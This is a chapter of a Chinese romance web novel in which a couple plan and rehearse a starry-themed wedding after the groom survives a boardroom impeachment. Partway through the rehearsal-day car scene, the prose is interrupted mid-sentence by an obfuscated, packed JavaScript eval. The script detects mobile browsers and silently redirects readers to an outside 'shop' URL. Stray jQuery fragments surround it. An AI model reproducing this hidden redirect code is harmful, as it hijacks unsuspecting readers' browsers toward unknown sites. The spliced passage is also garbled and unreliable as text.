120. 婚礼

作品:《爱情复活法则

    傅氏集团的弹劾会就像一场即兴表演,高层们捏着自己的角色卡,为了各自目的,较量着演技,比得还都是内心戏。


    大家入戏,痴迷,投入真情实感,沉沦在自己的角色里无法自拔,甚至还没来得及正式谢幕,这出戏就缓缓落幕了。


    从会议室里陆续出来的人们,停留在会议室门外久久不散去,他们议论着第一个带头走出来的人是谁,分析着盛旻析为什么能轻松摆脱弹劾危机。


    然而胜者为王,盛旻析无意间被带上无冕之冠,得到了大部分人的极高评价,大家说他深藏不露,怀有大将之风。


    其实盛旻析只不过在做他自己而已。哪怕此刻,他脸上展着笑,也不是因为破除了弹劾危机,而是因为冷灿过来找他了。


    灿灿在办公室等着他,他便步步生风,穿过会议室外的人群,将猜忌、议论、以及种种偏狭的评价留在身后,直奔顶层。


    傅瑾瑜跟着他,语速很快,急着解开心中困惑:“旻析,你说实话,你外公的这封遗言是不是你搞的鬼?”


    “不是,我没那本事。”


    傅瑾瑜:“我量你也没有。你外公的律师岂是你能搞定的!”


    “那你还问!”盛旻析有些不耐烦。


    傅瑾瑜步步紧逼:“你是不是早就知道这件事了?”


    “我知道外公留了这封遗言。但对内容不知情。别把心思用我身上。”盛旻析步子很大,整颗心已经飞到冷灿的身上了。


    他走进电梯,傅瑾瑜也跟进去:“你外公还留下别的什么信息吗?”


    “没了。”盛旻析“啧”了一声:“你跟着我干嘛?”


    “想跟你聊聊呀!”两人下了电梯,来到了顶层,傅瑾瑜小跑着勉强跟上他,仍追着问:“我想知道你下一步什么打算?”


    盛旻析推开办公室的门,停下来:“下一步?结婚啊!这还用问。”


    “我不是说这个。”傅瑾瑜跟着盛旻析走进办公室,刚进来就刹住脚步。她眉头紧锁,咬牙切齿地看着冷灿从沙发座椅上跳起来,扑到盛旻析身上。


    他一只手揽住冷灿的腰,一只手捧着她的脸,头一低,一下两下三下,旁若无人,越吻越深。


    “量你也没什么出息!”傅瑾瑜一转身,摔门而去。


    “有人?”冷灿推开旻析,朝门口看去:“刚刚是不是有人进来看到我们了?”


    “是我妈。”他继续抱着她,展着一脸明媚的笑。


    看到他的笑,冷灿的笑容便更加明媚起来:“是她啊,那没关系。反正她也不待见我。”


    他再次重复刚刚亲吻的动作,闭上眼,细细品味她的回应,柔软的温暖的回应,仿佛每一下呼吸都带着幸福扎根到内心深处。


    如果此刻就是永远,多好。


    “旻析,你这招杀人诛心可真是…”盛旻延突然推门而进,多走几步便又转身折返,盛旻析问有什么事,盛旻延忙说:“你们继续,你们继续。”便离开了。


    旻析再一次把冷灿揽在怀里,带着会议的侥幸逃脱,以及当下的幸福感,久久不松开。


    “好啦,我要回律所了。”冷灿推了推。


    他又将她的头按到自己的肩膀上:“你不是来找我的吗?怎么又要走?”


    “我就是担心你,在家里坐不住。现在看到你没事,就放心了。”她突然仰头看他,眼里都是星光:“真的赢啦?”


    “赢了。”盛旻析的嘴角勾出得意的笑:“你这么担心我啊?我这么重要吗?”他将声音故意处理得软绵绵的,滑入她的耳朵,冷灿别过脸,脸颊泛红:“废话。”


    明明已经在一起很久了,为什么经他轻轻一撩,脸还是又红又烫,真讨厌,像被他掌控了一样。冷灿朝门口走,盛旻析跟着她:“我和你一起走。”


    “也好。一起吃个中午饭。”


    盛旻析努努嘴,声音低沉下来:“好好想想,吃完饭要去做什么?”


    ?


    冷灿一脸茫然。


    盛旻析:“这么重要的事你都能忘?”


    “最重要的事不就是董事会吗?”她想不出来。


    “不是约了策划团队到家里谈婚礼流程吗?”盛旻析哭笑不得:“不是你定的时间,还说在家里聊比较舒服。”


    “想起来了。”冷灿神情平静:“这算什么重要的事。”


    盛旻析脸一黑:“这比董事会重要多了。我以为你来找我,就是因为这件事呢。”


    冷灿:“一个婚礼而已,办不办我都一样爱你。有什么重要的,真搞不懂你。”


    忽如其来的表白,在盛旻析的黑脸上划出一道傻笑,连声音都憨了一些:“跟你有关的事,都是重要的事。”


    冷灿:“肉麻…”


    对于婚礼,冷灿从未上心,她不知道婚礼的意义是什么。毕竟整个场地没有她的亲人也没什么朋友,她能够想象到在大家传统的思想里,不会对她有什么好评,也不信他们能为她送来真心的祝福。在她心里,婚礼只是一种形式主义,两个人的爱可不是一场小小的婚礼就能表达清楚的。


    但只要旻析想办,她会配合。


    所以,当面对策划团队时,冷灿表现得如试纱那天一样,平静淡漠,没有多少热情,没有新娘子该有的样子。这使得三位策划人员频频倒吸凉气,气氛怎么都热不起来。就算他们鼓起勇气问冷灿一句:“盛太太,您有任何建议都可以提出来。我们百分之百能够满足您的要求。”


    冷灿也只回一句:“我没意见。”


    直到讨论到递婚戒的环节,策划人员说:“婚戒多数时候,会安排小孩子递上来。象征着纯洁。小孩子还能带动气氛。”


    盛旻析却摇着头:“不好,太土了,换一种形式。何况我们的婚礼人数不多,没有合适的小孩。”


    冷灿突然打断他:“叶子可以递婚戒。”


    策划人员:“叶子是?”


    盛旻析:“哦,对。你想让叶子来?”


    冷灿目光笃定:“叶子必须要来啊。她就像我的家人一样。”


    “好,那就由叶子递戒指。”旻析一口答应,不纠结,不讨论,满眼宠溺地看着冷灿。


    策划人员敲着键盘,将这个环节的内容记下,又问:“佩戴婚戒后,是二位的发言环节。”


    冷灿连连摇头。


    工作人员忙说:“不想发言也可以。看你们。”


    “我要发言!”盛旻析和策划人又侃侃而谈起来,这一下午说的话是弹劾会上的十倍。


    交流未过半,冷灿就去了书房,盛旻析的热忱不减,就婚礼的各个环节和进度与策划人员聊到晚上。


    策划团队离开后,一位年轻的姑娘发出这样的感慨:“今年生日,我要许愿让我也能得到像盛旻析这样的男人,帅气、多金还深情专一。”另外一个人打击她:“你这种心态就不会得到他,你要像盛总老婆那样,一副凶巴巴的,目中无人的样子才行。男人就是贱,就吃那一套。”


    世人不知,冷灿的深情只给一个人看。除了盛旻析,这个世界上没人懂她。也除了盛旻析,她不需要世上任何人懂她。


    就连彩排这天,冷灿也表现得十分淡漠,来时的路上,两人手牵手坐在商务车后座上,盛旻析手掌冰凉,冷灿诧异地问他:“你在紧张吗?”


    “没有。就是车内冷气开得有点大。”盛旻析嘴硬。


    “瞎说。几乎没有冷气好不好。”冷灿不懂:“这有什么好


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898626|172448||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    紧张的。”


    但到了场地,大门一开,冷灿才懂盛旻析为什么紧张,这间不大的婚礼场地被他布置得太精致了。简直是一场视觉盛宴。


    她记得,旻析说过,主题是璀璨星河,她也看过一些设计图,但没想到现场实物竟做得这般美轮美奂,地上的绿植错落有致,充满生机,绵延到尽头处,生出粉色玫瑰,玫瑰像瀑布一样缠绕交织直奔空中楼阁,最后与银色的星河混在一起,横跨整个穹顶。


    冷灿站在门口,凝望着这一切,不是感动,不是浪漫,也不是惊喜,而是引起了她的强烈的共鸣。她仿佛看到他们的爱情正是踏着星河而来,无关世俗,恢宏伟大。


    任光钥流转,时空变幻,那真挚无二的爱将随着璀璨星河永远存在,不增不减,永恒唯一。


    冷灿知道,这就是旻析的用意吧。


    盛旻析在一旁满脸得意,求表扬似的问冷灿:“怎么样?”


    冷灿:“好美。”


    他指着舞台侧面:“明天,你将穿着婚纱乘坐那个月亮形状的秋千从空中落下来。”他憨笑着:“这是他们出的主意,你作为月光女神,是星河里最璀璨的部分。”


    “不幼稚吗?”冷灿有点想笑,觉得像一场游戏,自己要扮演一个月光女神的角色。


    盛旻析:“不会,月光是银色的,很高级,与你的婚纱和你的气质很适配。”


    “那通向台上的这条路为什么做成水的形状?”冷灿打开了话匣子,一时间问个不停。


    “开灯后,星空会倒映在河里,整个空间就会立体起来。”盛旻析示意工作人员开灯,急于把最好的一切展示给她。


    一瞬间,房间漆黑,再一瞬,灯光四起。


    星星、月亮形状的水晶装置散落四处,仿佛将舞台架在空中,银色的月光载着新娘从天而降,星空倒映在水中,天地颠倒,真爱永生。


    冷灿的双眸逐渐晶莹起来,嘴角勾出的弧度越来越弯。


    她被策划专员带到楼上,了解明天的走位。当站在楼梯旁,她将台下的开场尽收眼底,主持人的声音一出来,抑扬顿挫间,婚礼就像真的在进行一样。盛旻析站在台侧,激动得跃跃欲试。伴娘张瑶和伴郎站在站在另一侧,神采奕奕。小叶子则乖乖地站在门口处听任摆布,十几位工作人员忙里忙外,热火朝天。


    她看着盛旻析上台,明明台下没有人,他还像模像样地与台下招手,冷灿觉得滑稽笑出了声,不一会儿她便坐在了秋千上,像坐电梯一样,缓缓落在台中央,准准地站在盛旻析面前。


    旻析深情款款地看着她,她却小声问:“我刚刚飞下来的时候傻不傻?”


    “特别美!”他字字重音强调。


    “那就好。”


    只见叶子梳着公主头,穿着一件小红裙从对面走过来。她带着明媚纯净的笑容,举起钻戒盒子时,仰望着冷灿,眼里带着真挚的感恩,冷灿心间乍暖,意外动情。


    盛旻析为她带上钻戒,两人默默注视着对方,看到彼此的眼眸里载着灿烂的星河,载着漫长的过往,载着岁月的温情与坎坷,以及种种无法言说的伟大又贪婪的爱。


    按计划,该到盛旻析发言的环节,他接过话筒,走个流程,但声音竟然哽咽了:“灿灿,我准备了很长的一段话。明天会好好讲给你听。”


    “好。”


    她伸手擦掉他眼角的一簌泪,再别过脸,控制着不让自己的眼泪留下来。


    明明只是彩排,冷灿却屡次动情,明明说好了只是走个过场,但冷灿在说出那句“我也愿意”时,到底没克制住,还是流下了眼泪。


    婚礼是一种形式,但情感不是,她到底小看了婚礼的力量,几乎从头哭到尾。


    …